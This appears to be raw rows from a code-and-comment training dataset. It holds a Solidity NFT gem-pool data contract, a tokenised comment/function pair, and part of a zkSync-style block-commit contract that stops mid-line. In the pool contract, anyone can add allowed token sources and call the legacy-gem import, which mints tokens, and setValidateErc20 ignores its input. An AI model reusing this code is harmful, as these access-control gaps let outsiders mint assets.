file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../libs/AddressSet.sol"; import "./ComplexPoolLib.sol"; import "../interfaces/INFTGemMultiToken.sol"; import "../interfaces/INFTComplexGemPoolData.sol"; import "../interfaces/INFTGemPoolData.sol"; contract NFTComplexGemPoolData is INFTComplexGemPoolData { using AddressSet for AddressSet.Set; using ComplexPoolLib for ComplexPoolLib.ComplexPoolData; ComplexPoolLib.ComplexPoolData internal poolData; /** * @dev Throws if called by any account not in authorized list */ modifier onlyController() { require( poolData.controllers[msg.sender] == true || msg.sender == poolData.governor || address(this) == msg.sender, "Controllable: caller is not a controller" ); _; } constructor() { poolData.controllers[msg.sender] = true; poolData.controllers[tx.origin] = true; } /** * @dev all the tokenhashes (both claim and gem) for this pool */ function tokenHashes() external view override returns (uint256[] memory) { return poolData.tokenHashes; } /** * @dev set all the token hashes for this pool */ function setTokenHashes(uint256[] memory _tokenHashes) external override onlyController { poolData.tokenHashes = _tokenHashes; } /** * @dev The symbol for this pool / NFT */ function symbol() external view override returns (string memory) { return poolData.symbol; } /** * @dev The ether price for this pool / NFT */ function ethPrice() external view override returns (uint256) { return poolData.ethPrice; } /** * @dev max allowable quantity per claim */ function maxQuantityPerClaim() external view override returns (uint256) { return poolData.maxQuantityPerClaim; } /** * @dev max claims that can be made on this NFT on any given account */ function maxClaimsPerAccount() external view override returns (uint256) { return poolData.maxClaimsPerAccount; } /** * @dev update max quantity per claim */ function setMaxQuantityPerClaim(uint256 _maxQuantityPerClaim) external override onlyController { poolData.maxQuantityPerClaim = _maxQuantityPerClaim; } /** * @dev update max claims that can be made on this NFT */ function setMaxClaimsPerAccount(uint256 _maxClaimsPerAccount) external override onlyController { poolData.maxClaimsPerAccount = _maxClaimsPerAccount; } /** * @dev returns if pool allows purchase */ function allowPurchase() external view override returns (bool) { return poolData.allowPurchase; } /** * @dev set whether pool allows purchase */ function setAllowPurchase(bool _allowPurchase) external override onlyController { poolData.allowPurchase = _allowPurchase; } /** * @dev is pool enabled (taking claim requests) */ function enabled() external view override returns (bool) { return poolData.enabled; } /** * @dev set the enabled status of this pool */ function setEnabled(bool _enabled) external override onlyController { poolData.enabled = _enabled; } /** * @dev return the appreciation curve of this pool. */ function priceIncrementType() external view override returns (PriceIncrementType) { return poolData.priceIncrementType; } /** * @dev set the appreciation curve of this pool. */ function setPriceIncrementType(PriceIncrementType _incrementType) external override onlyController { poolData.priceIncrementType = _incrementType; } /** * @dev return the number of claims made thus far */ function claimedCount() external view override returns (uint256) { return poolData.nextClaimIdVal; } /** * @dev return the number of gems made thus far */ function mintedCount() external view override returns (uint256) { return poolData.nextGemIdVal; } /** * @dev the total amopunt of staked eth in this pool */ function totalStakedEth() external view override returns (uint256) { return poolData.totalStakedEth; } /** * @dev get token type of hash - 1 is for claim, 2 is for gem */ function tokenType(uint256 _tokenHash) external view override returns (INFTGemMultiToken.TokenType) { return poolData.tokenTypes[_tokenHash]; } /** * @dev get the claim hash of the gem */ function gemClaimHash(uint256 _claimHash) external view override returns (uint256) { return poolData.gemClaims[_claimHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function tokenId(uint256 _tokenHash) external view override returns (uint256) { return poolData.tokenIds[_tokenHash]; } /** * @dev returns a count of all token hashes */ function allTokenHashesLength() external view override returns (uint256) { return poolData.tokenHashes.length; } /** * @dev get the token hash at index */ function allTokenHashes(uint256 ndx) external view override returns (uint256) { return poolData.tokenHashes[ndx]; } /** * @dev return the next claim hash */ function nextClaimHash() external view override returns (uint256) { return poolData.nextClaimHash(); } /** * @dev return the next gem hash */ function nextGemHash() external view override returns (uint256) { return poolData.nextGemHash(); } /** * @dev return the next claim id */ function nextClaimId() external view override returns (uint256) { return poolData.nextClaimIdVal; } /** * @dev return the next gem id */ function nextGemId() external view override returns (uint256) { return poolData.nextGemIdVal; } /** * @dev return the count of allowed tokens */ function allowedTokensLength() external view override returns (uint256) { return poolData.allowedTokens.count(); } /** * @dev the allowed token address at index */ function allowedTokens(uint256 _index) external view override returns (address) { return poolData.allowedTokens.keyAtIndex(_index); } /** * @dev add an allowed token to the pool */ function addAllowedToken(address _tokenAddress) external override onlyController { poolData.allowedTokens.insert(_tokenAddress); } /** * @dev add an allowed token to the pool */ function removeAllowedToken(address _tokenAddress) external override onlyController { poolData.allowedTokens.remove(_tokenAddress); } /** * @dev is the token in the allowed tokens list */ function isTokenAllowed(address _tokenAddress) external view override returns (bool) { return poolData.allowedTokens.exists(_tokenAddress); } /** * @dev the claim amount for the given claim id */ function claimAmount(uint256 _claimHash) external view override returns (uint256) { return poolData.claimAmount(_claimHash); } /** * @dev the claim quantity (count of gems staked) for the given claim id */ function claimQuantity(uint256 _claimHash) external view override returns (uint256) { return poolData.claimQuantity(_claimHash); } /** * @dev the lock time for this claim. once past lock time a gema is minted */ function claimUnlockTime(uint256 _claimHash) external view override returns (uint256) { return poolData.claimUnlockTime(_claimHash); } /** * @dev claim token amount if paid using erc20 */ function claimTokenAmount(uint256 _claimHash) external view override returns (uint256) { return poolData.claimTokenAmount(_claimHash); } /** * @dev the staked token if staking with erc20 */ function stakedToken(uint256 _claimHash) external view override returns (address) { return poolData.stakedToken(_claimHash); } /** * @dev set market visibility */ function setVisible(bool _visible) external override onlyController { poolData.visible = _visible; } /** * @dev set market visibility */ function visible() external view override returns (bool) { return poolData.visible; } /** * @dev set category category */ function setCategory(uint256 _category) external override onlyController { poolData.category = _category; } /** * @dev get market category */ function category() external view override returns (uint256) { return poolData.category; } /** * @dev set description */ function setDescription(string memory desc) external override onlyController { poolData.description = desc; } /** * @dev get description */ function description() external view override returns (string memory) { return poolData.description; } /** * @dev set validate erc20 token against AMM */ function setValidateErc20(bool) external override onlyController { poolData.validateerc20 = true; } /** * @dev get validate erc20 token against AMM */ function validateErc20() external view override returns (bool) { return poolData.validateerc20; } /** * @dev add an input requirement for this token */ function addInputRequirement( address _tokenAddress, address _poolAddress, INFTComplexGemPool.RequirementType _inputType, uint256 _tokenId, uint256 _minAmount, bool _takeCustody, bool _burn, bool _exactAmount ) external override { poolData.addInputRequirement( _tokenAddress, _poolAddress, _inputType, _tokenId, _minAmount, _takeCustody, _burn, _exactAmount ); } /** * @dev add an input requirement for this token */ function updateInputRequirement( uint256 _index, address _tokenAddress, address _poolAddress, INFTComplexGemPool.RequirementType _inputType, uint256 _tokenId, uint256 _minAmount, bool _takeCustody, bool _burn, bool _exactAmount ) external override { poolData.updateInputRequirement( _index, _tokenAddress, _poolAddress, _inputType, _tokenId, _minAmount, _takeCustody, _burn, _exactAmount ); } /** * @dev all Input Requirements Length */ function allInputRequirementsLength() external view override returns (uint256) { return poolData.allInputRequirementsLength(); } /** * @dev all Input Requirements at element */ function allInputRequirements(uint256 _index) external view override returns ( address, address, INFTComplexGemPool.RequirementType, uint256, uint256, bool, bool, bool ) { return poolData.allInputRequirements(_index); } /** * @dev add an allowed token source */ function addAllowedTokenSource(address _allowedToken) external override { if (!poolData.allowedTokenSources.exists(_allowedToken)) { poolData.allowedTokenSources.insert(_allowedToken); } } /** * @dev remove an allowed token source */ function removeAllowedTokenSource(address _allowedToken) external override { if (poolData.allowedTokenSources.exists(_allowedToken)) { poolData.allowedTokenSources.remove(_allowedToken); } } /** * @dev returns an array of all allowed token sources */ function allowedTokenSources() external view override returns (address[] memory) { return poolData.allowedTokenSources.keyList; } /** * @dev delegate proxy method for multitoken allow */ function proxies(address) external view returns (address) { return address(this); } /** * @dev these settings defines how the pool behaves */ function settings() external view override returns ( string memory, string memory, string memory, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { return ( poolData.symbol, poolData.name, poolData.description, poolData.category, poolData.ethPrice, poolData.minTime, poolData.maxTime, poolData.diffstep, poolData.maxClaims, poolData.maxQuantityPerClaim, poolData.maxClaimsPerAccount ); } /** * @dev these stats reflect the current pool state */ function stats() external view override returns ( bool, uint256, uint256, uint256, uint256, uint256, uint256, uint256 ) { return ( poolData.visible, poolData.nextClaimIdVal, poolData.nextGemIdVal, poolData.totalStakedEth, poolData.nextClaimHash(), poolData.nextGemHash(), poolData.nextClaimIdVal, poolData.nextGemIdVal ); } /** * @dev return the claim details for the given claim hash */ function claim(uint256 claimHash) external view override returns ( uint256, uint256, uint256, uint256, address, uint256 ) { return ( poolData.claimAmount(claimHash), poolData.claimQuantity(claimHash), poolData.claimUnlockTime(claimHash), poolData.claimTokenAmount(claimHash), poolData.stakedToken(claimHash), poolData.nextClaimIdVal ); } /** * @dev return the token data for the given hash */ function token(uint256 _tokenHash) external view override returns ( INFTGemMultiToken.TokenType, uint256, address ) { return ( poolData.tokenTypes[_tokenHash], poolData.tokenIds[_tokenHash], poolData.tokenSources[_tokenHash] ); } /** * @dev import the legacy gem */ function importLegacyGem( address _poolAddress, address _legacyToken, uint256 _tokenHash, address _recipient, bool _burnOld ) external override { // this method is callable by anyone - this is used to import historical // gems into the new contracts. A gem can only be imported in once // per source require(_tokenHash > 0, "INVALID_TOKENHASH"); require(_poolAddress > address(0), "INVALID_POOL"); require(_legacyToken > address(0), "INVALID_TOKEN"); require(_recipient > address(0), "INVALID_RECIPIENT"); require( poolData.allowedTokenSources.exists(_legacyToken) == true, "INVALID_TOKENSOURCE" ); // get legacy token quantity uint256 quantity = IERC1155(_legacyToken).balanceOf( _recipient, _tokenHash ); // require some amount to import require(quantity > 0, "NOTHING_TO_IMPORT"); // if we are to burn old tokens do it now if (_burnOld == true) { INFTGemMultiToken(_legacyToken).burn( _recipient, _tokenHash, quantity ); // and exit if we have already imported them. this logic // lets us import without burning the old tokens first, // and then burn them afterwards if ( poolData.importedLegacyToken[_tokenHash][_recipient] >= quantity ) { return; } } // require that the token is not already imported require( poolData.importedLegacyToken[_tokenHash][_recipient] < quantity, "ALREADY_IMPORTED" ); // rebuild the poolhash to make sure its correct bytes32 importedSymHash = keccak256( abi.encodePacked(INFTGemPoolData(_poolAddress).symbol()) ); bytes32 poolSymHash = keccak256(abi.encodePacked(poolData.symbol)); require(importedSymHash == poolSymHash, "INVALID_POOLHASH"); // get the token type from the legacy token uint256 importTokenId = INFTGemPoolData(_poolAddress).tokenId( _tokenHash ); // store import data poolData.tokenTypes[_tokenHash] = INFTGemMultiToken.TokenType.GEM; poolData.tokenIds[_tokenHash] = importTokenId; poolData.tokenSources[_tokenHash] = _legacyToken; poolData.importedLegacyToken[_tokenHash][_recipient] = quantity; // mint the token hash on the new token INFTGemMultiToken(poolData.multitoken).mint( _recipient, _tokenHash, quantity ); // set the token data INFTGemMultiToken(poolData.multitoken).setTokenData( _tokenHash, INFTGemMultiToken.TokenType.GEM, address(this) ); emit NFTGemImported( msg.sender, address(this), _poolAddress, _legacyToken, _tokenHash, quantity ); } /** * @dev returns if legacy gem with given hash is imported */ function isLegacyGemImported(address _account, uint256 _tokenhash) external view override returns (bool) { return poolData.importedLegacyToken[_tokenhash][_account] > 0; } /** * @dev set the next claim and gem ids */ function setNextIds(uint256 _nextClaimId, uint256 _nextGemId) external override onlyController { poolData.nextClaimIdVal = _nextClaimId; poolData.nextGemIdVal = _nextGemId; } }
* @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem/
function tokenId(uint256 _tokenHash) external view override returns (uint256) { return poolData.tokenIds[_tokenHash]; }
1,040,370
[ 1, 588, 1147, 612, 261, 8818, 262, 434, 326, 864, 1147, 1651, 18, 374, 309, 486, 279, 1147, 16, 404, 309, 7516, 16, 576, 309, 17474, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 548, 12, 11890, 5034, 389, 2316, 2310, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 3849, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 327, 2845, 751, 18, 2316, 2673, 63, 67, 2316, 2310, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; import "./ReentrancyGuard.sol"; import "./SafeMath.sol"; import "./SafeMathUInt128.sol"; import "./SafeCast.sol"; import "./Utils.sol"; import "./Storage.sol"; import "./Config.sol"; import "./Events.sol"; import "./Bytes.sol"; import "./Operations.sol"; import "./uniswap/UniswapV2Factory.sol"; import "./PairTokenManager.sol"; /// @title zkSync main contract /// @author Matter Labs /// @author ZKSwap L2 Labs contract ZkSyncCommitBlock is PairTokenManager, Storage, Config, Events, ReentrancyGuard { using SafeMath for uint256; using SafeMathUInt128 for uint128; bytes32 public constant EMPTY_STRING_KECCAK = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; /// @notice Commit block - collect onchain operations, create its commitment, emit BlockCommit event /// @param _blockNumber Block number /// @param _feeAccount Account to collect fees /// @param _newBlockInfo New state of the block. (first element is the account tree root hash, rest of the array is reserved for the future) /// @param _publicData Operations pubdata /// @param _ethWitness Data passed to ethereum outside pubdata of the circuit. /// @param _ethWitnessSizes Amount of eth witness bytes for the corresponding operation. function commitBlock( uint32 _blockNumber, uint32 _feeAccount, bytes32[] calldata _newBlockInfo, bytes calldata _publicData, bytes calldata _ethWitness, uint32[] calldata _ethWitnessSizes ) external nonReentrant { requireActive(); require(_blockNumber == totalBlocksCommitted + 1, "fck11"); // only commit next block governance.requireActiveValidator(msg.sender); require(_newBlockInfo.length == 1, "fck13"); // This version of the contract expects only account tree root hash bytes memory publicData = _publicData; // Unpack onchain operations and store them. // Get priority operations number for this block. uint64 prevTotalCommittedPriorityRequests = totalCommittedPriorityRequests; bytes32 withdrawalsDataHash = collectOnchainOps(_blockNumber, publicData, _ethWitness, _ethWitnessSizes); uint64 nPriorityRequestProcessed = totalCommittedPriorityRequests - prevTotalCommittedPriorityRequests; createCommittedBlock(_blockNumber, _feeAccount, _newBlockInfo[0], publicData, withdrawalsDataHash, nPriorityRequestProcessed); totalBlocksCommitted++; emit BlockCommit(_blockNumber); } /// @notice Commit Multi block - collect onchain operations, create its commitment, emit BlockCommit event /// @param _blockInfo: /// _blockNumber Block number /// _blockCount Block count /// _feeAccount Account to collect fees /// _chunks Account to collect fees [array] /// @param _newRootAndCommitment: /// _newRoot New root of the block. /// _newCommitment New commitment of the block. /// @param _publicDatas: /// _publicData Operations pubdata /// _ethWitness Data passed to ethereum outside pubdata of the circuit. /// @param _ethWitnessSizes Amount of eth witness bytes for the corresponding operation. [offsets, data] function commitMultiBlock( uint32[] calldata _blockInfo, bytes32[] calldata _newRootAndCommitment, bytes[] calldata _publicDatas, uint32[] calldata _ethWitnessSizes ) external nonReentrant { requireActive(); uint32 _blockNumber = _blockInfo[0]; uint32 _blockCount = _blockInfo[1]; require(_blockNumber == totalBlocksCommitted + 1, "fck11"); // only commit next block governance.requireActiveValidator(msg.sender); for (uint32 i = 0; i < _blockCount; i++) { uint32 chunks = _blockInfo[3+i]; bytes memory publicData = _publicDatas[2*i]; bytes memory ethWitness = _publicDatas[2*i+1]; uint32 blockNumber = _blockNumber+i; bytes32 newRoot = _newRootAndCommitment[2*i]; bytes32 newCommitment = _newRootAndCommitment[2*i+1]; uint32[] memory ethWitnessSizes = _ethWitnessSizes; uint32 ethWitnessSizesOffset = _ethWitnessSizes[i]; // Unpack onchain operations and store them. // Get priority operations number for this block. uint64 prevTotalCommittedPriorityRequests = totalCommittedPriorityRequests; bytes32 withdrawalsDataHash = collectOnchainMultiOps([blockNumber, ethWitnessSizesOffset+_blockCount], publicData, ethWitness, ethWitnessSizes); uint64 nPriorityRequestProcessed = totalCommittedPriorityRequests - prevTotalCommittedPriorityRequests; createCommittedMultiBlock(blockNumber, chunks, newRoot, newCommitment, publicData, withdrawalsDataHash, nPriorityRequestProcessed); totalBlocksCommitted++; emit BlockCommit(blockNumber); } } /// @notice Block verification. /// @notice Verify proof -> process onchain withdrawals (accrue balances from withdrawals) -> remove priority requests /// @param _blockNumber Block number /// @param _proof Block proof /// @param _withdrawalsData Block withdrawals data function verifyBlock(uint32 _blockNumber, uint256[] calldata _proof, bytes calldata _withdrawalsData) external nonReentrant { revert("fb1"); // verify one block is not supported // requireActive(); // require(_blockNumber == totalBlocksVerified + 1, "fvk11"); // only verify next block // governance.requireActiveValidator(msg.sender); // // require(verifier.verifyBlockProof(_proof, blocks[_blockNumber].commitment, blocks[_blockNumber].chunks), "fvk13"); // proof verification failed // // processOnchainWithdrawals(_withdrawalsData, blocks[_blockNumber].withdrawalsDataHash); // // deleteRequests( // blocks[_blockNumber].priorityOperations // ); // // totalBlocksVerified += 1; // // emit BlockVerification(_blockNumber); } /// @notice Creates multiblock verify info function createMultiblockCommitment(uint32 _blockNumberFrom, uint32 _blockNumberTo) internal returns (uint32[] memory blockSizes, uint256[] memory inputs) { uint32 numberOfBlocks = _blockNumberTo - _blockNumberFrom + 1; blockSizes = new uint32[](numberOfBlocks); inputs = new uint256[](numberOfBlocks); for (uint32 i = 0; i < numberOfBlocks; i++) { blockSizes[i] = blocks[_blockNumberFrom + i].chunks; bytes32 blockCommitment = blocks[_blockNumberFrom + i].commitment; uint256 mask = (~uint256(0)) >> 3; inputs[i] = uint256(blockCommitment) & mask; } } /// @notice Multiblock verification. /// @notice Verify proof -> process onchain withdrawals (accrue balances from withdrawals) -> remove priority requests /// @param _blockNumberFrom Block number from /// @param _blockNumberTo Block number to /// @param _recursiveInput Multiblock proof inputs /// @param _proof Multiblock proof /// @param _subProofLimbs Multiblock proof subproof limbs /// @param _withdrawalsData Blocks withdrawals data function verifyBlocks( uint32 _blockNumberFrom, uint32 _blockNumberTo, uint256[] calldata _recursiveInput, uint256[] calldata _proof, uint256[] calldata _subProofLimbs, bytes[] calldata _withdrawalsData ) external { requireActive(); require(_blockNumberFrom <= _blockNumberTo, "vbs11"); // vbs11 - must verify non empty sequence of blocks require(_blockNumberFrom == totalBlocksVerified + 1, "mbfvk11"); // only verify from next block governance.requireActiveValidator(msg.sender); (uint32[] memory aggregatedBlockSizes, uint256[] memory aggregatedInputs) = createMultiblockCommitment(_blockNumberFrom, _blockNumberTo); require(verifier.verifyMultiblockProof(_recursiveInput, _proof, aggregatedBlockSizes, aggregatedInputs, _subProofLimbs), "mbfvk13"); for (uint32 _blockNumber = _blockNumberFrom; _blockNumber <= _blockNumberTo; _blockNumber++){ processOnchainWithdrawals(_withdrawalsData[_blockNumber - _blockNumberFrom], blocks[_blockNumber].withdrawalsDataHash); } for (uint32 _blockNumber = _blockNumberFrom; _blockNumber <= _blockNumberTo; _blockNumber++){ deleteRequests( blocks[_blockNumber].priorityOperations ); } totalBlocksVerified = _blockNumberTo; emit MultiblockVerification(_blockNumberFrom, _blockNumberTo); } /// @notice Reverts unverified blocks /// @param _maxBlocksToRevert the maximum number blocks that will be reverted (use if can't revert all blocks because of gas limit). function revertBlocks(uint32 _maxBlocksToRevert) external nonReentrant { require(isBlockCommitmentExpired(), "rbs11"); // trying to revert non-expired blocks. governance.requireActiveValidator(msg.sender); uint32 blocksCommited = totalBlocksCommitted; uint32 blocksToRevert = Utils.minU32(_maxBlocksToRevert, blocksCommited - totalBlocksVerified); uint64 revertedPriorityRequests = 0; for (uint32 i = totalBlocksCommitted - blocksToRevert + 1; i <= blocksCommited; i++) { Block memory revertedBlock = blocks[i]; require(revertedBlock.committedAtBlock > 0, "frk11"); // block not found revertedPriorityRequests += revertedBlock.priorityOperations; delete blocks[i]; } blocksCommited -= blocksToRevert; totalBlocksCommitted -= blocksToRevert; totalCommittedPriorityRequests -= revertedPriorityRequests; emit BlocksRevert(totalBlocksVerified, blocksCommited); } /// @notice Checks if Exodus mode must be entered. If true - enters exodus mode and emits ExodusMode event. /// @dev Exodus mode must be entered in case of current ethereum block number is higher than the oldest /// @dev of existed priority requests expiration block number. /// @return bool flag that is true if the Exodus mode must be entered. function triggerExodusIfNeeded() external returns (bool) { bool trigger = block.number >= priorityRequests[firstPriorityRequestId].expirationBlock && priorityRequests[firstPriorityRequestId].expirationBlock != 0; if (trigger) { if (!exodusMode) { exodusMode = true; emit ExodusMode(); } return true; } else { return false; } } function setAuthPubkeyHash(bytes calldata _pubkey_hash, uint32 _nonce) external nonReentrant { require(_pubkey_hash.length == PUBKEY_HASH_BYTES, "ahf10"); // PubKeyHash should be 20 bytes. require(authFacts[msg.sender][_nonce] == bytes32(0), "ahf11"); // auth fact for nonce should be empty authFacts[msg.sender][_nonce] = keccak256(_pubkey_hash); emit FactAuth(msg.sender, _nonce, _pubkey_hash); } /// @notice Store committed block structure to the storage. /// @param _nCommittedPriorityRequests - number of priority requests in block function createCommittedBlock( uint32 _blockNumber, uint32 _feeAccount, bytes32 _newRoot, bytes memory _publicData, bytes32 _withdrawalDataHash, uint64 _nCommittedPriorityRequests ) internal { require(_publicData.length % CHUNK_BYTES == 0, "cbb10"); // Public data size is not multiple of CHUNK_BYTES uint32 blockChunks = uint32(_publicData.length / CHUNK_BYTES); require(verifier.isBlockSizeSupported(blockChunks), "ccb11"); // Create block commitment for verification proof bytes32 commitment = createBlockCommitment( _blockNumber, _feeAccount, blocks[_blockNumber - 1].stateRoot, _newRoot, _publicData ); blocks[_blockNumber] = Block( uint32(block.number), // committed at _nCommittedPriorityRequests, // number of priority onchain ops in block blockChunks, _withdrawalDataHash, // hash of onchain withdrawals data (will be used during checking block withdrawal data in verifyBlock function) commitment, // blocks' commitment _newRoot // new root ); } /// @notice Store committed block structure to the storage. /// @param _nCommittedPriorityRequests - number of priority requests in block function createCommittedMultiBlock( uint32 _blockNumber, uint32 _chunks, bytes32 _newRoot, bytes32 _newCommitment, bytes memory _publicData, bytes32 _withdrawalDataHash, uint64 _nCommittedPriorityRequests ) internal { require(verifier.isBlockSizeSupported(_chunks), "ccb11"); blocks[_blockNumber] = Block( uint32(block.number), // committed at _nCommittedPriorityRequests, // number of priority onchain ops in block _chunks, _withdrawalDataHash, // hash of onchain withdrawals data (will be used during checking block withdrawal data in verifyBlock function) _newCommitment, // blocks' commitment _newRoot // new root ); } function emitDepositCommitEvent(uint32 _blockNumber, Operations.Deposit memory depositData) internal { emit DepositCommit(_blockNumber, depositData.accountId, depositData.owner, depositData.tokenId, depositData.amount); } function emitFullExitCommitEvent(uint32 _blockNumber, Operations.FullExit memory fullExitData) internal { emit FullExitCommit(_blockNumber, fullExitData.accountId, fullExitData.owner, fullExitData.tokenId, fullExitData.amount); } function emitCreatePairCommitEvent(uint32 _blockNumber, Operations.CreatePair memory createPairData) internal { emit CreatePairCommit(_blockNumber, createPairData.accountId, createPairData.tokenA, createPairData.tokenB, createPairData.tokenPair, createPairData.pair); } /// @notice Gets operations packed in bytes array. Unpacks it and stores onchain operations. /// @param _blockNumber Franklin block number /// @param _publicData Operations packed in bytes array /// @param _ethWitness Eth witness that was posted with commit /// @param _ethWitnessSizes Amount of eth witness bytes for the corresponding operation. /// Priority operations must be committed in the same order as they are in the priority queue. function collectOnchainOps(uint32 _blockNumber, bytes memory _publicData, bytes memory _ethWitness, uint32[] memory _ethWitnessSizes) internal returns (bytes32 withdrawalsDataHash) { require(_publicData.length % CHUNK_BYTES == 0, "fcs11"); // pubdata length must be a multiple of CHUNK_BYTES uint64 currentPriorityRequestId = firstPriorityRequestId + totalCommittedPriorityRequests; uint256 pubDataPtr = 0; uint256 pubDataStartPtr = 0; uint256 pubDataEndPtr = 0; assembly { pubDataStartPtr := add(_publicData, 0x20) } pubDataPtr = pubDataStartPtr; pubDataEndPtr = pubDataStartPtr + _publicData.length; uint64 ethWitnessOffset = 0; uint16 processedOperationsRequiringEthWitness = 0; withdrawalsDataHash = EMPTY_STRING_KECCAK; while (pubDataPtr < pubDataEndPtr) { Operations.OpType opType; // read operation type from public data (the first byte per each operation) assembly { opType := shr(0xf8, mload(pubDataPtr)) } // cheap operations processing if (opType == Operations.OpType.Transfer) { pubDataPtr += TRANSFER_BYTES; } else if (opType == Operations.OpType.Noop) { pubDataPtr += NOOP_BYTES; } else if (opType == Operations.OpType.TransferToNew) { pubDataPtr += TRANSFER_TO_NEW_BYTES; } else if (opType == Operations.OpType.AddLiquidity || opType == Operations.OpType.RemoveLiquidity) { pubDataPtr += UNISWAP_ADD_RM_LIQ_BYTES; } else if (opType == Operations.OpType.Swap) { pubDataPtr += UNISWAP_SWAP_BYTES; } else { // other operations processing // calculation of public data offset uint256 pubdataOffset = pubDataPtr - pubDataStartPtr; if (opType == Operations.OpType.Deposit) { bytes memory pubData = Bytes.slice(_publicData, pubdataOffset + 1, DEPOSIT_BYTES - 1); Operations.Deposit memory depositData = Operations.readDepositPubdata(pubData); emitDepositCommitEvent(_blockNumber, depositData); OnchainOperation memory onchainOp = OnchainOperation( Operations.OpType.Deposit, pubData ); commitNextPriorityOperation(onchainOp, currentPriorityRequestId); currentPriorityRequestId++; pubDataPtr += DEPOSIT_BYTES; } else if (opType == Operations.OpType.PartialExit) { Operations.PartialExit memory data = Operations.readPartialExitPubdata(_publicData, pubdataOffset + 1); bool addToPendingWithdrawalsQueue = true; withdrawalsDataHash = keccak256(abi.encode(withdrawalsDataHash, addToPendingWithdrawalsQueue, data.owner, data.tokenId, data.amount)); pubDataPtr += PARTIAL_EXIT_BYTES; } else if (opType == Operations.OpType.FullExit) { bytes memory pubData = Bytes.slice(_publicData, pubdataOffset + 1, FULL_EXIT_BYTES - 1); Operations.FullExit memory fullExitData = Operations.readFullExitPubdata(pubData); emitFullExitCommitEvent(_blockNumber, fullExitData); bool addToPendingWithdrawalsQueue = false; withdrawalsDataHash = keccak256(abi.encode(withdrawalsDataHash, addToPendingWithdrawalsQueue, fullExitData.owner, fullExitData.tokenId, fullExitData.amount)); OnchainOperation memory onchainOp = OnchainOperation( Operations.OpType.FullExit, pubData ); commitNextPriorityOperation(onchainOp, currentPriorityRequestId); currentPriorityRequestId++; pubDataPtr += FULL_EXIT_BYTES; } else if (opType == Operations.OpType.ChangePubKey) { require(processedOperationsRequiringEthWitness < _ethWitnessSizes.length, "fcs13"); // eth witness data malformed Operations.ChangePubKey memory op = Operations.readChangePubKeyPubdata(_publicData, pubdataOffset + 1); if (_ethWitnessSizes[processedOperationsRequiringEthWitness] != 0) { bytes memory currentEthWitness = Bytes.slice(_ethWitness, ethWitnessOffset, _ethWitnessSizes[processedOperationsRequiringEthWitness]); bool valid = verifyChangePubkeySignature(currentEthWitness, op.pubKeyHash, op.nonce, op.owner, op.accountId); require(valid, "fpp15"); // failed to verify change pubkey hash signature } else { bool valid = authFacts[op.owner][op.nonce] == keccak256(abi.encodePacked(op.pubKeyHash)); require(valid, "fpp16"); // new pub key hash is not authenticated properly } ethWitnessOffset += _ethWitnessSizes[processedOperationsRequiringEthWitness]; processedOperationsRequiringEthWitness++; pubDataPtr += 